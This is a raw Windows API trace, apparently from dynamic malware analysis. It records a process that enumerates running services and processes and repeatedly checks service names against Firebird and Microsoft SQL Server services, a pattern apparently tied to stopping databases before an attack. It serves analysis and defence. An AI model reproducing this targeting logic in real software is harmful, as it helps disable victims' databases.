[0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0251.708] lstrlenW (lpString="Power") returned 5 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0251.708] lstrlenW (lpString="ProfSvc") returned 7 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0251.708] lstrlenW (lpString="RpcEptMapper") returned 12 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0251.709] lstrlenW (lpString="RpcSs") returned 5 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0251.709] lstrlenW (lpString="SamSs") returned 5 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0251.709] lstrlenW (lpString="Schedule") returned 8 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0251.709] lstrlenW (lpString="SecurityHealthService") returned 21 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0251.710] lstrlenW (lpString="SENS") returned 4 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0251.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0251.710] lstrlenW (lpString="Spooler") returned 7 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0251.710] lstrlenW (lpString="StateRepository") returned 15 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0251.711] lstrlenW (lpString="SysMain") returned 7 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0251.711] lstrlenW (lpString="SystemEventsBroker") returned 18 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0251.711] lstrlenW (lpString="Themes") returned 6 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0251.711] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0251.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7300c8 | out: hHeap=0x640000) returned 1 [0251.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0251.717] Process32FirstW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.718] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.719] lstrlenW (lpString="System") returned 6 [0251.719] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.719] lstrlenW (lpString="smss.exe") returned 8 [0251.719] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.721] lstrlenW (lpString="csrss.exe") returned 9 [0251.721] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.721] lstrlenW (lpString="wininit.exe") returned 11 [0251.721] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.722] lstrlenW (lpString="csrss.exe") returned 9 [0251.722] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.723] lstrlenW (lpString="winlogon.exe") returned 12 [0251.723] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.724] lstrlenW (lpString="services.exe") returned 12 [0251.724] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.725] lstrlenW (lpString="lsass.exe") returned 9 [0251.725] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.725] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.726] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.726] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.726] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.727] lstrlenW (lpString="svchost.exe") returned 11 [0251.727] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.728] lstrlenW (lpString="svchost.exe") returned 11 [0251.728] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.729] lstrlenW (lpString="dwm.exe") returned 7 [0251.729] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.730] lstrlenW (lpString="svchost.exe") returned 11 [0251.730] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.730] lstrlenW (lpString="svchost.exe") returned 11 [0251.730] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.731] lstrlenW (lpString="svchost.exe") returned 11 [0251.731] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.732] lstrlenW (lpString="svchost.exe") returned 11 [0251.732] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.733] lstrlenW (lpString="svchost.exe") returned 11 [0251.733] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.734] lstrlenW (lpString="svchost.exe") returned 11 [0251.734] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.735] lstrlenW (lpString="svchost.exe") returned 11 [0251.735] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.735] lstrlenW (lpString="svchost.exe") returned 11 [0251.735] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.983] lstrlenW (lpString="svchost.exe") returned 11 [0251.983] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.984] lstrlenW (lpString="svchost.exe") returned 11 [0251.984] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.984] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.984] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.985] lstrlenW (lpString="svchost.exe") returned 11 [0251.985] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.986] lstrlenW (lpString="audiodg.exe") returned 11 [0251.986] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.986] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0251.986] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.987] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0251.987] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.988] lstrlenW (lpString="Memory Compression") returned 18 [0251.988] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.989] lstrlenW (lpString="svchost.exe") returned 11 [0251.989] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.989] lstrlenW (lpString="sihost.exe") returned 10 [0251.990] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0251.990] lstrlenW (lpString="MDMAgent.exe") returned 12 [0251.990] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.991] lstrlenW (lpString="taskhostw.exe") returned 13 [0251.991] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0251.992] lstrlenW (lpString="msoia.exe") returned 9 [0251.992] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0251.992] lstrlenW (lpString="userinit.exe") returned 12 [0251.992] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.993] lstrlenW (lpString="explorer.exe") returned 12 [0251.993] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.994] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0251.994] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.994] lstrlenW (lpString="SearchUI.exe") returned 12 [0251.994] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.995] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0251.995] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.996] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0251.996] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0251.996] lstrlenW (lpString="mobsync.exe") returned 11 [0251.996] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0251.997] lstrlenW (lpString="chrome64b.exe") returned 13 [0251.997] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0251.998] lstrlenW (lpString="cmd.exe") returned 7 [0251.998] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.998] lstrlenW (lpString="conhost.exe") returned 11 [0251.998] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0251.999] lstrlenW (lpString="chrome64b.exe") returned 13 [0251.999] Process32NextW (in: hSnapshot=0x338, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0252.000] CloseHandle (hObject=0x338) returned 1 [0252.000] Sleep (dwMilliseconds=0x1f4) [0252.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x730b38 [0252.813] EnumServicesStatusExW (in: hSCManager=0x730b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0252.814] GetLastError () returned 0xea [0252.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x730ee8 [0252.814] EnumServicesStatusExW (in: hSCManager=0x730b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x730ee8, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x730ee8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0252.815] CloseServiceHandle (hSCObject=0x730b38) returned 1 [0252.815] lstrlenW (lpString="AppXSvc") returned 7 [0252.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0252.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0252.815] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0252.815] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0252.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0252.815] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.815] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") 